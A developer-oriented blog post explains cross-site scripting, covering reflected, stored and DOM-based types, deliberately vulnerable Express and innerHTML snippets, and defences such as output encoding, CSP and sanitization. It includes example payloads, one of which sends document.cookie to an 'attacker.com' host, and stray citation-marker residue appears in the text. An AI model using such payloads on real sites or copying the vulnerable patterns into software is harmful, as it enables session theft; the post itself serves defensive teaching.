Cross-Site Scripting (XSS) Explained for Developers

posted 3 min read

Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities. Even today, it frequently appears in security reports and vulnerability scans.

For developers, understanding XSS is critical because it directly affects user security, session integrity, and application trust.

In this article, we'll cover:

  • What XSS is
  • How XSS attacks work
  • The main types of XSS
  • Real examples of vulnerable code
  • Practical ways to prevent it

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into a web page viewed by other users. :contentReference[oaicite:0]{index=0}

When a website takes user input and displays it without proper validation or encoding, an attacker can insert JavaScript that executes in the victim’s browser.

Because the script runs in the context of the trusted website, it can access anything the site itself can access. :contentReference[oaicite:1]{index=1}

This may include:

session cookies
local storage data
user actions
page content
API requests

In simple terms:

User input + No sanitization = XSS vulnerability

How XSS Attacks Work

A typical XSS attack involves three actors:

1. The attacker
2. The vulnerable website
3. The victim user

Attack flow:

Attacker injects malicious script
          ↓
Website stores or reflects the input
          ↓
Victim loads the infected page
          ↓
Browser executes the attacker's script

Example payload:

<script>alert('XSS')</script>

If a website directly displays user input inside HTML, this script will execute in the browser.

The browser cannot distinguish between legitimate code and malicious injected code, so it executes both. :contentReference[oaicite:2]{index=2}


A Simple Vulnerable Example

Imagine a website that displays a user’s name:

app.get("/hello", (req, res) => {
    const name = req.query.name
    res.send(`<h1>Hello ${name}</h1>`)
})

Normal request:

/hello?name=Alice

Output:

Hello Alice

Malicious request:

/hello?name=<script>alert('XSS')</script>

Output:

Hello <script>alert('XSS')</script>

Result:

Browser executes the script

This is a classic Reflected XSS vulnerability.


The Three Main Types of XSS

Developers usually encounter three categories of XSS vulnerabilities.


1. Stored (Persistent) XSS

Stored XSS happens when malicious input is saved on the server and later displayed to other users.

Example scenario:

User comments on blog
Comment stored in database
Other users load the page
Malicious script executes

Example payload in a comment:

<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

Every user viewing the comment executes the script.

Stored XSS is often the most dangerous type because it spreads automatically.


2. Reflected XSS

Reflected XSS occurs when malicious input is immediately returned in the HTTP response.

Example:

https://example.com/search?q=<script>alert(1)</script>

If the search page reflects the query directly into HTML, the script executes.

Reflected XSS often appears in:

search pages
error messages
login redirects
URL parameters

3. DOM-Based XSS

DOM-based XSS happens when JavaScript on the page directly inserts user input into the DOM.

Example:

const name = new URLSearchParams(location.search).get("name")
document.getElementById("output").innerHTML = name

Attack:

?name=<img src=x onerror=alert(1)>

The browser inserts this HTML into the page and executes it.

This vulnerability exists entirely in the browser, not on the server.


What Attackers Can Do with XSS

Once attackers run JavaScript in a victim's browser, they can:

steal session cookies
perform actions as the user
capture login credentials
redirect users to phishing sites
modify page content
spread malware

In some cases, XSS can lead to full account takeover.


How Developers Can Prevent XSS

Preventing XSS requires multiple layers of defense.


1. Escape User Input (Output Encoding)

Never insert raw user input into HTML.

Unsafe:

<div>${userInput}</div>

Safe:

HTML encode special characters
< → &lt;
> → &gt;

Many template engines automatically escape output.


2. Avoid Dangerous APIs

Certain APIs make XSS easy to introduce.

Examples:

innerHTML
document.write
eval
dangerouslySetInnerHTML

Safer alternative:

element.textContent = userInput

3. Use Content Security Policy (CSP)

Content Security Policy restricts which scripts can execute.

Example header:

Content-Security-Policy: default-src 'self'

This helps block injected scripts even if a vulnerability exists.


4. Sanitize HTML Input

If your application allows HTML input (for example comments or rich text), sanitize it using a trusted library.

Sanitization removes dangerous elements like:

<script>
onerror=
onclick=
javascript:

5. Validate Input

While validation alone is not enough, it reduces risk.

Examples:

length limits
allowed characters
expected formats

Never trust client-side validation alone.


Conclusion

Cross-Site Scripting remains one of the most common vulnerabilities in web applications.

The root cause is almost always the same:

Untrusted input rendered as executable code

For developers, the most effective defenses are:

output encoding
safe templating engines
HTML sanitization
Content Security Policy
secure coding practices

Security should be considered part of the development process — not something added later.

1 Comment

0 votes

More Posts

What Is an Availability Zone Explained Simply

Ijay - Feb 12

Why most people quit AWS

Ijay - Feb 3

Penetration Testing Explained for Developers

MorphyBishop - Mar 19

How DomSanitizer works to prevent Cross-Site Scripting (XSS) attacks in Angular

Sunny - Aug 23, 2025

Optimizing the Clinical Interface: Data Management for Efficient Medical Outcomes

Huifer - Jan 26
chevron_left

Related Jobs

View all jobs →

Commenters (This Week)

1 comment
1 comment
1 comment

Contribute meaningful comments to climb the leaderboard and earn badges!